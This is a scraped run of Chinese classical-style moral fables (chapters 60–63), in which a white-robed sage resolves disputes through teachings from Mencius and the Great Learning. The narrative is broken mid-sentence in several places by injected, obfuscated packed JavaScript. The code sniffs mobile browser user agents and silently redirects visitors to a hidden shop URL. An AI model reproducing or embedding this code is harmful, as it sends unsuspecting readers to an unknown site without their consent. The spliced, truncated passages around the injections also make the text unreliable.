白衣人正色:“入则无法家拂士,出则无敌国外患者,国恒亡。今燕国来犯,是外患;佞臣当道,是内忧。内忧外患并至,正需忧患之志。若夺民救命粮,是自毁长城,何御外敌?” 齐王犹豫。白衣人续道:“昔舜发于畎亩,傅说举于版筑,胶鬲举于鱼盐,皆经忧患,故能担大任。今彼三人,历死囚、洪水、瘟疫、饥荒,筋骨劳,心志苦,体肤饿,身空乏,行事常拂乱。然动心忍性,曾益不能,正堪大用。王何不以此三人御边?” 齐王遂命畎亩奴督粮草,版筑徒修关隘,鱼盐贩筹盐铁。三人赴边,各展所长:畎亩奴屯田供粮,版筑徒筑城固防,鱼盐贩通商富边。军民一心,大破燕军。 凯旋日,齐王欲重赏。三人皆辞,归乡为民。白衣人赞:“能受忧患,能拒安乐,是真知‘生于忧患,死于安乐’者。” 遂于阿城立“忧患碑”,刻孟子全文。又立三辅碑,分记三人事迹: 舜亩碑:畎亩奴,本农夫,因旱夺水杀人。遇赦治水,识草药,寻薯种。后督边屯田,军粮无缺。辞官归田,教民耕植,一乡丰饶。 傅筑碑:版筑徒,本匠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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破解法:遇困厄时,当思天将降大任,苦其心志,劳其筋骨,动心忍性 - 示例:三囚历死囚、洪水、瘟疫、饥荒,反成民望 二、 动心忍性 - 苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为 - 惕世:多少人遇小挫即馁?受小苦即怨? - 反思:可曾在困厄中“动心忍性”?可曾在拂乱中“曾益不能”? 三、 生死之鉴 - 入则无法家拂士,出则无敌国外患者,国恒亡 - 深层隐喻:安乐如鸩,忧患如药 - 终极指向:生于忧患,死于安乐。个人如此,家国亦如此 忧患偈: 舜亩傅说胶鬲徒,皆自困厄起泥涂。 天将大任降斯人,必先苦劳饿乏躯。 动心忍性益不能,困虑征发而后喻。 生于忧患死安乐,至今碑前松影疏。 后世叹: 三囚刑场待死时,谁知他年为民师? 筋骨劳苦心志砺,体肤饿乏身空疲。 洪水瘟疫饥荒历,反成济世大功基。 寄语世间遭困者,莫将忧患怨天时。 正是: 天将大任降人寰,先使困厄历苦艰。 饿体劳筋空乏身,行拂乱为动心颜。 三囚昔年戴罪死,一朝奋起拯时艰。 忧患碑前松长翠,生死箴言在此间。 61. 不屑谳 楔子·叩师门 鲁地泗水畔,有富家子田骄,年十六,厌文喜武。父田稷延名师教之,三年间气走七位夫子。是日,第八位夫子愤然掷书:“竖子不可教!”拂袖而去。 田稷怒,将子囚于书房,叱曰:“再逐师,断尔弓马!” 田骄冷笑:“腐儒何能教我?” 忽闻窗外有人拊掌:“说得好!” 田骄推窗,见一白衣人倚柳而立,斗笠面纱,木剑负背,襟带当风。 “先生笑我?” “非笑尔,是笑尔父。”白衣人声如清磬,“彼不知教亦多术。强以腐儒教鹰,是驱鹰入笼也。” 田骄跃窗出,揖道:“先生知我!然父命难违,如之奈何?” “吾有一术,可解尔困。”白衣人自袖中取竹简,上书八字:“不屑之教,亦是教诲。” 田骄惑:“何解?” “随我来。” 一、 拒教谳 白衣人引田骄至山间草庐。庐前溪畔,有老翁垂钓,蓑衣斗笠,如石如木。 “此乃钓叟先生,可教尔。”白衣人指道。 田骄见钓叟枯瘦,心轻之,傲然揖道:“小子田骄,愿学万人敌之术。” 钓叟不答,目注浮漂。 田骄提声:“先生可闻?” 钓叟仍不应。 田骄恼,折柳枝舞剑,呼呼生风,炫于钓叟前。钓叟目不斜视。 田骄怒,以柳枝击水面,水花溅钓叟衣。钓叟纹丝不动。 如是三日,钓叟未发一语。田骄气馁,问白衣人:“先生荐此哑人,岂非戏我?” 白衣人笑:“教亦多术。钓叟不屑教尔,正是教尔。” “不屑教,何以是教?” “尔自负弓马,轻慢文人,可知何为真正的‘万人敌’?” 田骄昂首:“项羽力能扛鼎,关羽温酒斩将,此万人敌!” “项羽刎乌江,关羽走麦城,敌万人,不能敌己。”白衣人拾一石子投溪,“尔三日挑衅,钓叟如石沉水,波澜不惊。此等定力,可敌万军否?” 田骄怔然。白衣人续道:“钓叟不屑教,是教尔‘静’。尔若能悟,胜读十年兵书。” 田骄疑,复至溪边。此次不舞不哗,静坐观钓。钓叟仍不语,然递一竿与田骄。田骄学样垂钓,初时焦躁,久之心渐平。三日,钓得一鲤。 钓叟始开口,声如古井:“可教矣。” 田骄拜服:“先生何以三日前不教我?” “三日前,尔心如沸水,如何垂钓?今稍定,方可学静。吾不屑教,是待尔静。”钓叟提竿,“兵家万人敌,在静不在动。静可观势,静可蓄力,静可制怒。尔三日挑衅,吾若应,是堕尔躁境。不屑应,是提尔入静境。此即不屑之教。” 田骄大悟。白衣人拊掌:“善!孟子云:‘予不屑之教诲也者,是亦教诲之而已矣。’钓叟得之。” 二、 弃徒谳 田骄学钓三月,心性渐稳。父田稷闻子从钓叟,怒,遣家丁强掳归。田骄不从,田稷亲至草庐,斥钓叟:“吾儿当学圣贤书,岂可学渔樵之术?” 钓叟不答,收竿入庐,闭门不纳。 田稷叩门三刻,不应。怒叱:“老匹夫敢尔!” 白衣人忽现,笑问:“田公欲子成才否?” “自然!” “钓叟不屑与公语,亦是教公。”白衣人倚树,“公延师七年,师皆败退,可知其故?” 田稷语塞。白衣人道:“公只知教,不知教亦多术。子如野马,公强以缰,马愈狂。钓叟不施缰,任其驰骋,待其自累,方施辔。此不屑之教,公可悟?” 田稷冷笑:“荒谬!不教何以成才?” “公强教,子成才否?” 田稷哑然。白衣人续道:“公如农人,子如苗。公日日拔苗,苗岂不枯?钓叟不拔,待其自长,适时培土,苗乃秀。公何不见,令子三月,可静坐半日?昔可乎?” 田稷思子昔状,确无静时。遂揖钓叟门:“先生恕罪。然吾子终究需学经世之术。” 钓叟内应:“可送至云崖先生处。” 云崖先生,鲁地狂士,居绝壁洞中,终身不下山。田稷疑,白衣人劝:“此又一教法。” 田骄至云崖洞,拜求兵法。云崖先生箕踞,抛一破碗:“去山下溪中,舀水三千碗,注满洞前石臼。” 田骄不敢违,往返三日,方满。云崖瞥之,一脚踢翻:“再去舀。” 田骄忍怒,又三日满。云崖又踢翻:“水浊,不可用。” 田骄愤:“先生戏我乎?” 云崖冷笑:“兵者,诡道也。尔但知明攻,不知暗袭。吾令尔舀水,尔但舀,不知堵溪截流,一劳永逸。愚哉!” 田骄怔住。云崖道:“不屑教尔诡道,是待尔自悟。今点破,是教尔‘变’。去,重舀。” 此次,田骄堵溪成潭,以竹管导水入臼,半日而满。云崖颔首:“可教矣。” 田骄学三月,云崖忽逐之:“去!吾不屑教矣。” 田骄惑,白衣人现身:“先生已教尔‘诡’,今不屑教,是教尔‘止’。兵者凶器,不可尽学。知进知止,方为全术。” 田骄拜谢,云崖闭目不应,是亦应也。 三、 绝学谳 田骄归家,父见其沉稳有谋,大喜。适逢盗匪劫乡,田稷欲遣子从军剿匪,建功立业。田骄往见白衣人:“先生,我当往否?” 白衣人引其见第三师——樵隐先生,居废窑中,终日劈柴。 田骄拜求兵法,樵隐指柴垛:“劈柴。” 田骄遵命,日劈百斤。樵隐观之,摇首:“力有余,巧不足。”自劈一柴,纹路如画。 田骄学之,三月,可劈柴成纹。樵隐又摇首:“巧有余,道不足。” “何为道?” 樵隐不答,劈柴不止。又三月,田骄忽悟:“劈柴顺纹,用兵顺势。是谓道?” 樵隐目亮,取炭于壁书八字:“兵无常势,水无常形。” 田骄临写,樵隐观后,竟以掌抹去,斥:“学我者死,似我者生。尔已入门,可去。” 田骄不舍,樵隐闭目入定,三日不语。田骄无奈辞行。白衣人候于道:“先生抹字,是教尔‘破’。劈柴有道,用兵亦有道,然道不可执。执则僵,僵则败。不屑再教,是逼尔自创。” 田骄恍然。归乡后,逢盗匪来犯,乡勇无主。田骄以“静、变、破”三术御之:先静守不出,待敌躁;再变阵诱敌,分而击之;终破敌巢,擒匪首。乡里得安。 庆功宴上,父老问用兵之妙。田骄答:“三师所教:钓叟教静,云崖教变,樵隐教破。然三师皆有不屑教时,正因不屑,方逼我自悟。此孟子所谓‘不屑之教诲,是亦教诲’也。” 满座叹服。白衣人拊掌:“善哉!教亦多术,不屑其一。能悟者,片叶渡江;不悟者,宝山空回。” 四、 三师碑 田骄于泗水畔立“三师碑”,记钓叟、云崖、樵隐教诲之恩。碑阴自跋: “余少顽劣,气走七师。 遇白衣先生,引见三师。 钓叟不屑语,教吾静; 云崖不屑继,教吾变; 樵隐不屑传,教吾破。 皆以不屑为教, 使余自悟。 乃知教亦多术, 不屑之教, 乃大教也。” 碑成,有学子慕名访三师。钓叟已遁,留石臼一,中蓄清水,旁刻“躁时自观”。云崖封洞,洞口题“诡道止此”。樵隐焚窑,灰烬中存焦木,形如“破”字。 白衣人指碑谓众学子:“教如医病,有正治,有反治。不屑之教,反治也。今人多重耳提面命,轻点化默示,是以师愈多,才愈寡。” 有儒生驳:“圣人有教无类,岂有不屑教之理?” 白衣人笑:“孔子诲人不倦,然亦曰‘举一隅不以三隅反,则不复也’。不复,即不屑再教。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088213|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉求为季氏聚敛,子曰‘非吾徒也,小子鸣鼓而攻之’。此不屑之教也。教非一味灌输,是启其自悟。不屑者,非绝情,是峻法。” 又有一富商携子来,子愚钝,气走多师。富商求白衣人教。白衣人问子:“尔愿学何?” 子嚷:“学赚钱!赚大钱!” 白衣人取一钱投地,以足碾入土,曰:“去,三日后,此钱若发芽,吾教尔赚钱。” 子惑,蹲守三日,钱不生芽。白衣人问:“悟否?” 子摇首。白衣人叹:“钱非种子,焉能发芽?尔视钱如命,心田已芜,纵有良师,何能教?吾不屑教,是教尔:谋财先谋心。” 富商惭,携子归。后其子改过,营商以信,人称“小陶朱”。 尾声不屑歌 十年后,田骄为将,御边有功,然不恋权位,急流勇退,归隐泗水。每有少年问学,辄引观三师碑。 是日,有狂生讥:“三师皆隐,焉知其教之真?” 田骄不答,取弓射雁,一箭落双。狂生惊服。田骄道:“此一箭双雕,钓叟教我静心,云崖教我变机,樵隐教我破势。三师虽隐,其教在我身。尔只见师隐,不见教存,是未悟不屑之教也。” 狂生拜服。白衣人影现碑顶,歌曰: “教亦多术岂一端? 不屑之教尤峻峦。 钓叟不语教静定, 云崖闭洞教变幻。 樵隐焚窑教破立, 三师不屑胜千般。 寄语世间为师者, 莫将耳提作圭臬。” 歌罢,掷木剑插碑前,化竹一丛,劲节凌云。 自是,每有师者过碑,必自省:可曾不屑教?不屑中,可有教诲? 有严师苛责弟子,弟子不服。师引至碑前,示田骄故事,曰:“吾责尔,是望尔悟。非不屑教,是峻教。” 弟子悟,发愤有成。后为师,亦效此法。 白衣人尝夜坐碑下,有童子问:“先生,天下有不可教者乎?” “无。”白衣人答,“唯教法需变。不屑教,亦是一法。譬如医者,有以毒攻毒;师者,有以不教为教。” 童恍然。时值秋深,竹声飒飒,如诵如诉。 似在说: 教啊,教啊。 多术,多途。 不屑,亦是。 本章诫世 一、 教之多术 - 教有耳提面命,也有不屑教诲 - 破解法:为师者,当因材施教,法无定法;为徒者,当自悟自省,处处是教 - 示例:钓叟不语教静,云崖闭洞教变,樵隐焚窑教破 二、 不屑之教 - 不屑教诲,亦是教诲。看似无情,实为峻切 - 惕世:多少师者只知灌输,不懂点化?多少弟子只求喂哺,不思自悟? - 反思:可曾遇“不屑之教”?是怨怼,还是反思? 三、 自悟为要 - 教为渡舟,悟为登岸。不屑教,是逼其自渡 - 深层隐喻:真学问皆自悟得,非全由人授 - 终极指向:教亦多术,不屑一法;学在自悟,不在多师 不屑偈: 田骄顽劣气七师,白衣引见三师奇。 钓叟不语教静定,云崖闭洞教变机。 樵隐焚窑教破立,不屑之教启愚痴。 乃知教诲多术法,何必耳提面命疲。 后世叹: 孟子言教术多方,不屑教诲亦文章。 田骄得遇三师点,静变破悟用兵强。 寄语世间为师者,莫执一法误栋梁。 学童自悟方为得,耳提面命终是常。 正是: 教诲多术岂一途?不屑之教亦良图。 钓叟不语静中得,云崖闭洞变里趋。 樵隐焚窑破后立,三师不屑胜嗫嚅。 寄语学海求渡者,莫怨无人指迷途。 62. 明德谳 楔子·灯下虫 梁地有寒儒明修,夜读于破庙,灯下展《大学》卷,诵至“明明德,亲民,止至善”,长叹:“德何以明?民何以亲?至善何以止?” 忽有白衣人踏月入庙,斗笠面纱,木剑悬腰,应声曰:“欲明明德,先格物。” 明修揖问:“物何以格?” 白衣人指灯下蠹虫:“虫在烛畔盘旋,趋光而舞,此虫之明德乎?” “虫本逐光,天性也,何关明德?” “人亦逐利,天性也,何以别于虫?”白衣人拂袖,虫坠案上,“格物者,格其本末也。虫逐光,是逐明灭之外光;人明德,是明心中之明德。一外一内,本末立判。” 明修惑然。白衣人取炭,就破壁书《大学》开章,至“自天子以至于庶人,壹是皆以修身为本”,掷炭曰:“今有一案,关乎修身之本,可愿观之?” “愿从。” 一、 本末谳 梁城西街有富户贾厚,家财万贯,然夫妇不睦,父子相怨,兄弟阋墙。是日,贾厚五十寿宴,三子争产,竟于堂前殴斗,杯盘尽碎。贾厚气厥,卧病不起。 有游方郎中献“续命丹”,索千金。长子贾仁购之,次子贾义疑为假,三子贾礼骂兄愚鲁。三人争执不下,丹未服,贾厚已亡。 丧事未毕,三子对簿公堂。县令难断,悬为疑案。 白衣人引明修至贾府,指灵堂问:“此家之乱,乱在何处?” 明修叹:“乱在争产。” “非也。”白衣人摇头,“乱在本末倒置。《大学》云:‘其本乱,而末治者,否矣。’此家之乱,乱在本末。父子兄弟,伦常为本;财货产业,身外为末。今舍本逐末,故乱。” 明修恍然。白衣人又道:“贾厚生前,厚外薄内:厚待宾客,薄待家人;厚积钱财,薄修德行。此所谓‘其所厚者薄,而其所薄者厚,未之有也’。本末既乱,家岂不亡?” 正言间,三子又于庭中厮打。白衣人拾石击庭钟,钟鸣震耳,三子愕然止。 白衣人朗声:“尔父尸骨未寒,尔等不悲不哀,但争阿堵物,可愧对‘人’字?” 贾仁嚷:“家产不均,何以守孝?” “家产不均,因何而起?”白衣人问,“因尔父不公?因尔母偏私?皆非。因尔等不知‘修身为本’。” 三子嗤笑。白衣人指明修:“此儒生,身无分文,然心中有明德。尔等锦衣玉食,心中惟货利。孰富?孰贫?” 贾义怒:“腐儒何知生计!” 白衣人不答,取贾厚灵牌,以袖拂尘,现出背后刻字,乃贾厚少年时所志:“修身齐家,厚德载物”。三子见之,皆怔。 “尔父初志在此,后逐利忘本,乃至今日。”白衣人叹,“物有本末,事有终始。尔父以末为本,故有恶终。尔等欲步后尘否?” 三子默然。白衣人曰:“今愿为尔等明本末,可听否?” 二、 格物谳 白衣人引三子至贾府库房。但见金银盈室,绸缎如山。贾仁傲然:“此吾家之本!” “此物之本,在何处?”白衣人问。 “在地窖。” “地窖之金,来自何处?” “来自铺面。” “铺面之利,来自何处?” “来自客商。” “客商为何与你交易?” 三子语塞。白衣人曰:“因尔父昔年守信,因货真价实,因童叟无欺。此‘信’、‘实’、‘公’,方是利之本。尔父得利后,渐忘其本:以次充好,欺老诈幼,此利岂能长久?” 开库取账册,指一行:“三年前,尔父以霉米充新米,致疫病,死七人。此事尔等可知?” 三子汗下。白衣人又指一行:“去岁,尔父强购贫户田产,致其家破人亡。此事尔等可知?” 贾礼颤声:“吾等…只知数钱。” “是矣!尔等只见利之末,不见利之本。”白衣人掷账册,“《大学》云:‘致知在格物’。格物者,穷究事物之本末也。尔等不格家业之本末,但争其末,是缘木求鱼。” 遂命三子闭目静思:“尔父如何起家?如何守业?如何败德?一一想来。” 半日,贾仁睁目泣:“吾父起于担货郎,一根扁担两只筐,全凭‘信’字立身。” 贾义恸:“吾父壮年时,逢灾年,开仓放粮,人称‘贾善人’。” 贾礼嚎:“后渐富,渐贪,渐刻薄…吾等耳濡目染,亦成逐利之徒!” 三子抱头痛哭。白衣人颔首:“此即格物。格家业,知‘信’为本;格己身,知‘德’为根。今既知本,可齐家否?” 三、 修身谳 三子悔悟,愿重修德行。然积怨已深,如何齐家?白衣人引明修为证,设“修身堂”于贾府。 首日,命三子各述己过。贾仁曰:“吾为长,不友弟,不孝父,贪财吝啬。”贾义曰:“吾猜忌兄,顶撞父,奢侈无度。”贾礼曰:“吾幼而骄,侮兄慢父,挥霍成性。” 白衣人录其过于壁,曰:“知过是格物,改过是修身。今各思如何改。” 贾仁曰:“吾愿让产,与弟均分。” 贾义曰:“吾愿守铺,重树‘信’字。” 贾礼曰:“吾愿济贫,赎父之过。” 白衣人摇首:“此皆末也。齐家之本在修身,修身之本在正心诚意。尔等心未正,意未诚,但行善事,如无根之木。” 遂教以“正心法”:每晨静坐,自问“今心可正?意可诚?”又教“诚意法”:遇事自省“可有欺瞒?可有偏私?” 一月后,贾仁让产,贾义、贾礼皆不受,互让再三,终议共管。三人同食同寝,有物共享,有难共担。 白衣人谓明修:“此即修身而后家齐。然未止也。” 忽有昔年受害之家,聚众闹府,索偿命债。三子欲以金帛平事,白衣人止之:“此正需诚意正心。” 贾仁率弟出门,跪地谢罪,愿受国法。苦主愤曰:“偿命来!” 白衣人出面调停:“贾父已死,三子悔悟。偿命无益,不如偿德。”提议:贾家散财七成,赎罪补过:一设义仓,济灾民;二立义塾,教贫童;三修义冢,葬孤骨。 苦主犹愤。白衣人问:“尔等欲其死,或欲其生而赎罪?” 一老妪泣:“吾儿死不能复生。若彼真能行善,慰亡魂于九泉,老身…可恕。” 众苦主皆恸,许之。三子乃散家财,力行三义。梁城百姓初疑,后见其诚,渐称“贾氏三善”。 白衣人谓明修:“此即诚意正心,修身齐家,进而惠民。然仍未止于至善。” 四、 至善谳 贾氏行善三年,誉满梁城。有司欲表为“孝义之家”,三子拒曰:“吾等赎罪耳,岂敢邀誉?” 是年大疫,贾家开仓施药,三子亲入疫区。贾仁染疫,贾义、贾礼不离左右。百姓感泣,共祷苍天。 白衣人引明修探病,问贾仁:“悔否?” 贾仁卧榻笑:“昔争产时,生不如死;今行善时,死亦如生。吾心甚安。” “心安,是知止而后有定,定而后能静,静而后能安。”白衣人颔首,“尔等已近道矣。” 贾仁病愈,三子更励。梁城有恶少结党欺市,贾礼往劝,恶少嗤:“伪善之徒!”掷石伤其额。贾礼不怒,曰:“吾昔年亦如尔等。”遂日日往劝,供其饮食,教其手艺。半年,恶少感化,称为“礼兄”。 白衣人谓明修:“此即亲民。亲民非施惠,是以身化人。贾礼以德报怨,恶少乃化。孟子云‘亲亲而仁民’,此之谓也。” 又一年,梁城令贪墨,欲夺贾家余产。贾义携账册公之于众,全城哗然。令惧,罢贪念。百姓赞贾家“护民如家”。 白衣人问三子:“今可止乎?” 三子答:“行善不可止。” “善。”白衣人拊掌,“《大学》云‘在止于至善’。至善无止境,然心有止境。知所当止,是明德;行所当行,是亲民。尔等修身齐家,化及一城,可近至善矣。” 遂于贾府旧址立“明德碑”,刻《大学》全章。又立“修身亭”、“齐家坊”、“亲民祠”,记贾氏事。 碑成日,白衣人指碑谓明修:“明明德,非独明一己之德,是明人人本有之德。贾氏三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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无止无息。” 刻罢,踏月而去。自此,梁城童子多传《明德谣》: “大学道,在明德, 明德先从修身得。 身修而后家可齐, 家齐然后国可治。 自天子,至庶人, 修身是本末是叶。 本乱末治古未有, 厚薄颠倒要不得。 格物致知诚意正, 一步一步向至善。 至善无终心有终, 明德亲民是准则。” 谣声起处,松风相和。 似在说: 明德啊,亲民啊,至善啊。 在本,在身,在心。 本章诫世 一、 明德之本 - 大学之道在明明德,在亲民,在止于至善 - 破解法:凡事自问:此事可明我德?可亲民?可近至善? - 示例:贾氏三子从争产到行善,是格物知本、修身明德之历程 二、 修身为基 - 自天子以至于庶人,壹是皆以修身为本 - 惕世:多少人追逐财、色、名、利(末),忽视修身立德(本)? - 反思:可曾本末倒置?可曾厚其所薄,薄其所厚? 三、 格致功夫 - 欲修其身,先正其心;欲正其心,先诚其意;欲诚其意,先致其知;致知在格物 - 深层隐喻:一切功夫,从格物开始。格眼前事,明当下心 - 终极指向:物格知至,意诚心正,身修家齐,国治天下平 大学偈: 大学之道明德先,修身齐家治国连。 物有本末事终始,知所先后近道玄。 贾氏三子争产乱,格物知本善行绵。 寄语世间迷途客,莫将末节当本源。 后世叹: 贾家三子初愚蒙,争产忘本似癫疯。 白衣指点明德路,格物修身渐贯通。 散财赎罪行三义,正心诚意化顽风。 至今梁城碑犹在,明月清风诉始终。 正是: 大学开章明德篇,修身齐家治国先。 贾氏三子争产乱,白衣一指本末颠。 格物致知诚意正,亲民向善至善缘。 寄语世间求道者,莫向他处觅真诠。 63. 自明谳 楔子三匾讼 晋阳城有古寺曰“明德寺”,寺藏三匾,乃镇寺之宝:一曰“克明德”,紫檀为底,金丝嵌字,传为周时古物;二曰“顾明命”,青铜铸就,篆文斑驳,云是商代遗珍;三曰“克明峻德”,白玉雕成,温润生辉,据言尧舜时制。三匾悬于大雄宝殿,受百年香火。 是年仲春,寺中老方丈圆寂。监寺了尘、藏经阁主了因、知客了缘,三位高僧竟为方丈之位相争,各执一匾为凭。 了尘抱“克明德”匾曰:“此匾喻‘能明己德’,吾掌寺务三十载,德望最著,当为方丈。” 了因捧“顾明命”匾曰:“此匾言‘顾念天命’,吾精研经典,通晓法理,天命在吾。” 了缘托“克明峻德”匾曰:“此匾谓‘能明大德’,吾接引十方,广施善缘,德被四方,舍我其谁?” 三僧争执不下,竟至闭寺相峙。香客不得入,徒叹“明德寺不明德”。 是夜,有白衣人叩寺门。小沙弥启扉,见来人斗笠面纱,白衣木剑,风姿出尘,急报三僧。了尘隔门问:“施主何事?” 白衣人声朗如磬:“闻贵寺三匾蒙尘,特来拂拭。” 了因疑:“三匾光洁,何尘之有?” “匾无尘,人有尘。”白衣人推门直入,立殿前指三匾,“《康诰》曰‘克明德’,《大甲》曰‘顾寔天之明命’,《帝典》曰‘克明峻德’。三匾皆言‘自明’,今三师争匾,是自明耶?自昧耶?” 三僧赧然。白衣人续道:“某有一法,可解此争。请三师各持匾,随我行一日,见一场‘自明’公案。” 一、 克明德谳 白衣人引三僧至城西贫坊。坊中有老妪孙氏,年七十,盲一目,以织席为生。邻有恶少牛三,常欺其老弱,或窃其薪,或毁其席。是日,牛三又夺孙氏刚织就的苇席,欲以抵债。 孙氏泣求:“此席乃老身三日功,欲换米度日…” 牛三嗤:“老虔婆欠某三十钱,三年未还,一席尚不足息!” 白衣人向了尘:“师持‘克明德’匾,当明何德?” 了尘合十:“当明慈悲德。”遂上前劝牛三,“施主,欺老凌弱,有损阴德。请还席与妪,欠钱可缓图。” 牛三瞪目:“秃驴少管闲事!” 了尘再劝,牛三竟挥拳相向。了尘闪避,怀中“克明德”匾险些坠地。白衣人叹:“师只知劝人明德,己德何在?匾在怀,德在心乎?” 了尘怔住。白衣人指孙氏:“此妪一目盲,仍织席自食;牛三双目全,却欺人自肥。孰明德?孰昧德?” 了尘汗下,忽置匾于地,解袈裟当铺,质钱三十,付牛三:“此钱代孙氏还债,请还其席。” 牛三愕然,接钱去。孙氏拜泣。了尘扶起:“贫僧持匾三十年,今日方知‘克明德’非言说,是践行。谢施主点拨。”背起孙氏,“老菩萨,随贫僧回寺,寺有斋堂,可奉终身。” 白衣人拊掌:“善!能明己德,是谓克明德。师今舍衣济困,匾可明矣。” 了尘携孙氏归。了因、了缘相视,若有所思。 二、 顾明命谳 白衣人又引二僧至城南书塾。塾师范先生,屡试不第,愤而授童蒙。是日,有富户赵某携子入学,掷金于案:“好生教吾儿,将来中举,另有重谢!” 范先生见金目眩,诺诺连声。赵子顽劣,扰塾不止。范先生畏其父,不敢严管。穷童李生勤学,反受冷落。 白衣人问了因:“师持‘顾明命’匾,天命何在?” 了因肃然:“天命在教化。有教无类,方合天道。” “今范先生见富生则谀,见贫生则漠,是有教无类否?” 了因摇头,捧匾入塾,朗声:“范先生,可识此字?” 范先生见青铜古匾“顾明命”,怔道:“此…商鼎文?” “正是。”了因指字,“‘顾寔天之明命’,言顾念上天赋予之明命。先生既为人师,上天予尔明命,是教化英才,非谄富欺贫。今尔所为,是顾天命耶?顾金银耶?” 范先生面赤。了因又对赵某:“施主,天命予尔财富,是令尔行善积德,非纵子凌人。今尔以金压师,是教子以势,非教子以德。岂不闻‘积善之家必有余庆’?” 赵某嗤:“和尚懂甚!” 了因忽举匾,声震屋瓦:“此匾传自商汤,汤以六十里兴邦,在敬天命、修己德。今尔等富贵,不思敬天修德,反逆天害理,岂能长久?” 满塾皆惊。赵某气短,携子悻悻去。范先生拜谢:“师一言惊醒梦中人。某从此当一视同仁,有教无类。” 白衣人问了因:“师今行教化,是顾天命否?” 了因叹:“贫僧终日诵经,以为知天命。今方知,天命在眼前:富者当教,贫者当教,师者当正,学者当勤。顾念及此,方是顾明命。”遂留塾三日,为蒙童讲“天命在自强,不在门第”。 归寺时,了因步履轻健。白衣人笑:“匾重否?” 了因答:“昔觉千斤,今觉四两。心明,则匾轻矣。” 三、 克明峻德谳 白衣人最后引了缘至城北码头。苦力张三,力大性暴,常殴伤同伴。是日,因争扛包,又将李四打昏。众苦力围殴张三,码头大乱。 了缘捧“克明峻德”匾,欲劝。白衣人止之:“师持此匾,当明何德?” “当明大德,化解纷争。” “如何化解?” 了缘上前,高诵佛号。众苦力不理,斗愈烈。了缘急,护住伤者,以身挡拳,挨了数下,匾角磕损。 白衣人叹:“师只知‘明峻德’,不知‘克明’。克者,能也。能明大德,需先明其本。此斗之本,在穷苦争食。不解其本,但劝其和,如扬汤止沸。” 了缘恍然,置匾于地,竟解僧衣,露瘦骨,步入苦力群中:“莫打!莫打!要打打贫僧!” 众苦力愕然住手。了缘扶起张三、李四,问:“因何相斗?” 张三愤:“他抢某活计!” 李四泣:“某家老母病重,等钱抓药…” 了缘叹,自怀中取全部积蓄——五两碎银,予李四:“快去抓药。”又对张三,“施主力大,可多扛包,何必争抢?贫僧与码头主说情,让你多扛些。” 遂见码头主,恳求均派活计。码头主感其诚,允诺。张三、李四皆愧,互揖致歉。 白衣人问了缘:“师今所为,是明峻德否?” 了缘拭汗:“峻德非高高在上,是低低在下。能明此德,需先克己:克己之傲,克己之执,克己之私。今贫僧舍衣、舍财、舍身,方稍有所悟。”捧起匾,抚损角,“匾损可修,德损难补。今日一损,反令贫僧明德。” 白衣人拊掌:“善哉!《帝典》曰‘克明峻德’,能明大德者,必先克己。师今能克己利人,是明峻德矣。” 四、 自明偈 三僧归寺,相视而笑。了尘曰:“吾争方丈,是为虚荣,非为明德。”了因曰:“吾争方丈,是为权位,非为顾命。”了缘曰:“吾争方丈,是为名望,非为峻德。” 白衣人指三匾:“《康诰》曰‘克明德’,《大甲》曰‘顾寔天之明命’,《帝典》曰‘克明峻德’。三句皆言‘自明’——自己明己德,自己顾天命,自己明大德。今三师经此一日,可自明否?” 三僧合十:“自明矣。” 遂共推年长有德的了尘为方丈,了因掌藏经阁,了缘为知客,和合如初。寺门重开,香客复至。 白衣人于大殿说法,指三匾道: “克明德,是自明明德。如了尘师,舍衣济困,是明己慈悲德。 顾明命,是自顺天命。如了因师,正师化俗,是顾教化天命。 克明峻德,是自成大德。如了缘师,克己利人,是成和合大德。 三德皆需自明,非外求,非他予。今人但知诵经礼佛,不知反求诸己;但知争名逐利,不知明德顾命。此三匾蒙尘之故也。” 有香客问:“吾等俗人,何以自明?” 白衣人答:“农夫耕田,尽心竭力,是克明德;商贾交易,童叟无欺,是顾明命;士子读书,志在圣贤,是克明峻德。德不在高,在自明;命不在大,在自顾;峻不在显,在自成。人人肯自明,天下皆明德。” 又有一书生问:“三匾古物,价值连城。今寺僧不争,若外人来盗,如之奈何?” 了尘笑:“匾之贵,在铭文,不在材质。铭文在心,匾可毁,文不可灭。若有人盗匾,是盗木石金银;若有人铭文于心,是得无价宝。” 白衣人颔首,取木剑,就殿前青石刻偈:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白衣人偶过寺前,闻童言,莞尔。取炭就碑阴添八字: “匾是镜,照己形。 德是灯,亮己心。 自明者, 不求人明。” 是夜,明德钟声格外清越,满城皆闻。有更夫歇担听钟,喃喃: “克明德…顾明命…克明峻德… 嘿,不就是:做好人,守本分,行大善么!” 钟声悠悠,散入万家灯火。 似在说: 自明啊,自明。 不假外求,不待他人。 本章诫世 一、 自明为要 - 《康诰》曰“克明德”,《大甲》曰“顾寔天之明命”,《帝典》曰“克明峻德”——皆言自明 - 破解法:遇事自问:我可自明?德在己心,命在己身,何须外求? - 示例:三僧争匾,是不自明;经事悟道,是能自明 二、 三德一体 - 克明德:能明己德;顾明命:顾念天命;克明峻德:能明大德 - 